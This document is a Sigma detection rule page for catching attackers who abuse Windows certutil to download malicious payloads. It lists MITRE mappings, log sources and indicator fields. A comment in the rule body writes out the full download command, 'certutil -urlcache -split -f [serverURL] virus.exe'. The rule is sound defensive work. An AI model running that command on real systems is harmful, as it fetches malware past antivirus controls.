Detection rules › Sigma
Certutil payload download (command)
Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload.
Known false positives
- None
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Command & Control |
Telemetry coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule body
title: Certutil payload download (command)
description: Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload.
references:
- https://www.elastic.co/guide/en/security/current/suspicious-certutil-commands.html
- https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
- https://attack.mitre.org/software/S0160/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
- https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/
- https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
- https://www.recordedfuture.com/five-common-ransomware-techniques
tags:
- attack.defense_evasion
- attack.t1105
author: mdecrevoisier
status: experimental
logsource:
product: windows
category: process_creation
detection: # Full command: "certutil -urlcache -split -f [serverURL] virus.exe"
selection:
NewProcessName|endswith: '\certutil.exe'
CommandLine|contains:
- urlcache
#- decode # see other related rule
#- encodehex # see other related rule
#- encodehex # see other related rule
#- decodehex # see other related rule
condition: selection
falsepositives:
- None
level: high
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
NewProcessName|endswith: '\certutil.exe'
CommandLine|contains:
- urlcache
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
CommandLine | match |
| field:"CommandLine" kind:match value:"urlcache" |
NewProcessName | ends_with |
| field:"Image" kind:ends_with value:"\certutil.exe" |